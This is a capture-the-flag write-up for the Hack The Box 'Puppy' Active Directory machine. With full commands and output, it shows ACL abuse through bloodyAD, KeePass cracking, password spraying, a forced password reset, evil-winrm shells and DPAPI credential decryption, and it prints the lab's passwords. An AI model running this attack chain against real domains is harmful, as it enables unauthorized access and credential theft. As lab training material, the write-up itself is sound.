Post

HTB Puppy CTF Writeup

Medium-rated Windows Active Directory box. BloodHound reveals GenericAll over a security group, enabling self-addition for access to a KeePass database in SMB. DPAPI secrets decrypted from the database recover credentials used for privilege escalation.

HTB Puppy CTF Writeup

HTB Puppy CTF

Overview

Difficulty: Medium
Operating System: Windows Server 2022
Domain: PUPPY.HTB
Key Techniques: Active Directory enumeration, ACL abuse, DPAPI decryption, credential harvesting

This box focuses on Active Directory attack paths, leveraging misconfigured ACLs, group memberships, and credential storage to achieve domain compromise.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Nmap 7.93 scan initiated Sat May 24 09:45:52 2025 as: nmap -A -oN scans/nmap.initial -vv -Pn 10.10.11.70
Nmap scan report for 10.10.11.70
Host is up, received user-set (0.23s latency).
Scanned at 2025-05-24 09:45:52 -03 for 295s
Not shown: 986 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-05-24 19:46:16Z)
111/tcp  open  rpcbind       syn-ack 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack
2049/tcp open  status        syn-ack 1 (RPC #100024)
3260/tcp open  iscsi?        syn-ack
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB Service Enumeration

I first enumerated shares using netexec:

1
2
3
4
5
6
7
8
9
10
11
12
user@attackbox:~/hacking/htb/machines/medium/puppy$ nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.10.11.70     445    DC               [*] Enumerated shares                                                             
SMB         10.10.11.70     445    DC               Share           Permissions     Remark                                            
SMB         10.10.11.70     445    DC               -----           -----------     ------                                            
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin                                      
SMB         10.10.11.70     445    DC               C$                              Default share                                     
SMB         10.10.11.70     445    DC               DEV                             DEV-SHARE for PUPPY-DEVS                          
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC                                        
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share                                
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share

But as you can see, the the user can only read default shares (IPC$, NETLOGON and SYSVOL). The DEV share is unusual, but we don’t have access to it as of right now.

AD Enumeration

BloodHound Collection

Using the provided set of credentials, I ran bloodhound to enumerate the AD environment:

1
nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --bloodhound -c All

BloodHound automatically maps Active Directory relationships, ACLs, and attack paths. It’s essential for identifying privilege escalation routes in AD environments.

BloodHound Analysis - Developers Group Discovery

In bloodhound, it shows that my user (levi.james) is already part of the Developers group:

image.webp

Export some quick variables for the environment:

1
2
3
4
export dc=10.10.11.70
export password='KingofAkron2025!'
export username=levi.james
export domain=puppy.htb

Verification with bloodyAD showed the information from bloodhound was incorrect:

1
2
3
4
5
$ python3 ~/hacking/tools/bloodyAD/bloodyAD.py --host dc.puppy.htb -d puppy.htb -u levi.james -p $password get object levi.james

<SNIP>
memberOf: CN=HR,DC=PUPPY,DC=HTB
<SNIP>

The HR group has GenericAll over the Developers group. I add my user to the developers group:

1
bloodyAD.py --host $dc -d $domain -u $username -p $password add groupMember Developers levi.james

Just to make sure they are really in the group:

1
2
$ python3 ~/hacking/tools/bloodyAD/bloodyAD.py --host $dc -d $domain -u $username -p $password get object levi.james | grep --color memberOf
memberOf: CN=DEVELOPERS,DC=PUPPY,DC=HTB; CN=HR,DC=PUPPY,DC=HTB

Now I can access the DEV share. I accessed it and downloaded a recovery keepassxc database. I cracked the database password using keepass2john and john:

1
2
3
# Download and crack the database
keepass2john recovery.kdbx > kp2john.txt
john kp2john.txt --wordlist=/usr/share/wordlists/rockyou.txt

Cracking results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(.venv) user@attackbox:~/hacking/htb/machines/medium/puppy$ john kp2john.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 5 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Failed to use huge pages (not pre-allocated via sysctl? that's fine)
liverpool        (recovery)     
1g 0:00:00:15 DONE (2025-05-24 18:42) 0.06623g/s 2.649p/s 2.649c/s 2.649C/s liverpool..123123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The cracked password is: liverpool

Then I opened the keepassxc database and grabbed all the passwords in it (saved to passwords.txt):

1
2
3
4
5
6
KingofAkron2025!
Steve2025!
ILY2025!
JamieLove2025!
Antman2025!
HJKL2025!

Create usernames.txt:

1
nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --users-export usernames.txt

This is how usernames.txt looks like:

1
2
3
4
5
6
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm

I can begin password spraying the domain:

1
2
3
4
5
6
7
8
9
$ nxc smb 10.10.11.70 -u usernames.txt -p passwords.txt --continue-on-success
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

<SNIP>

SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!

<SNIP>

Privilege Escalation - ACL Abuse

BloodHound Path Analysis

I found one new valid credential thanks to the password spraying:

1
PUPPY.HTB\ant.edwards:Antman2025!

From the bloodhound scan, I can see that this user has outbound privileges in the domain:

image.webp

Password Reset Attack

With the GenericAll ACL, I can force change the password for adam.silver:

1
net rpc password "adam.silver" "SuperSecurePassword123!" -U "PUPPY.HTB"/"ant.edwards"%"Antman2025!" -S "dc.puppy.htb"

Account Disabled Issue

However, when I try to log in, the response is that the account is disabled (STATUS_ACCOUNT_DISABLED):

1
2
3
$ nxc smb 10.10.11.70 -u adam.silver -p 'SuperSecurePassword123!' --shares
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\adam.silver:SuperSecurePassword123! STATUS_ACCOUNT_DISABLED

Re-enabling the Account

Not exactly what I wanted, but I can remove this attribute thanks to the GenericAll we have over this user:

1
2
$ python3 ~/hacking/tools/bloodyAD/bloodyAD.py --host dc.puppy.htb -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

And now the account is enabled again.

Initial Access - WinRM Shell

As “adam.silvers” is member of the “remote management users” group, I can log in to the machine via evilwinrm:

1
2
3
4
5
6
7
8
9
10
$ evil-winrm -i 10.10.11.70 -u adam.silver -p 'SuperSecurePassword123!'
                                      
Evil-WinRM shell v3.7
                                      
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                  
                                      
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                 
                                      
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>

Lateral Movement - Backup Analysis

Located backup files in C:\Backups:

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Backups> dir


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   7:40 AM        1234567 site-backup.zip

After downloading and extracting the backup locally, I found an LDAP configuration file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(.venv) user@attackbox:~/hacking/htb/machines/medium/puppy/site-backup/puppy$ cat nms-auth-config.xml.bak 
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

New credentials:

1
steph.cooper:ChefSteph2025!

Vertical Privilege Escalation - DPAPI Attack

I logged in to the machine as “steph.cooper”, and did transfer winpeas64.exe to it.

Upon running winpeas and analyzing the output, I could locate valid DPAPI credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
����������͹ Checking for DPAPI Master Keys
�  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi                              
    MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 7:40:36 AM
    Modified: 3/8/2025 7:40:36 AM
   =================================================================================================                                  




����������͹ Checking for DPAPI Credential Files
�  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi                              
    CredFile: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
    Description: Local Credential Data
    MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 8:14:09 AM
    Modified: 3/8/2025 8:14:09 AM
    Size: 11068
   =================================================================================================                                  

    CredFile: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
    Description: Enterprise Credential Data
    MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 7:54:29 AM
    Modified: 3/8/2025 7:54:29 AM
    Size: 414

I did transfer all those files to my attacking machine, and could decrypt the masterkey using the user password, obtaining the key in hexadecimal format:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
user@attackbox:~/hacking/htb/machines/medium/puppy/dpapi$ dpapi.py masterkey -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -file 556a2412-1275-4ccf-b721-e6a0b4f90407 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Password:
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

And using the hexadecimal key I could decrypt the credential file, obtaining the password for another domain user:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@attackbox:~/hacking/htb/machines/medium/puppy/dpapi$ dpapi.py credential -file creds/C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description : 
Unknown     : 
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

And with that the box is complete! I can use the credentials to log in with administrative privileges via winrm:

1
evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'

References

Tools Used

  • nmap - Network/service enumeration
  • NetExec (nxc) - SMB/LDAP enumeration and authentication
  • BloodHound - Active Directory attack path mapping
  • bloodyAD - Active Directory manipulation
  • john - Password cracking
  • keepass2john - KeePass database hash extraction
  • evil-winrm - Windows remote management shell
  • WinPEAS - Windows privilege escalation enumeration
  • dpapi.py (Impacket) - DPAPI decryption
  • net rpc - Remote password changes via Samba
This post is licensed under CC BY 4.0 by the author.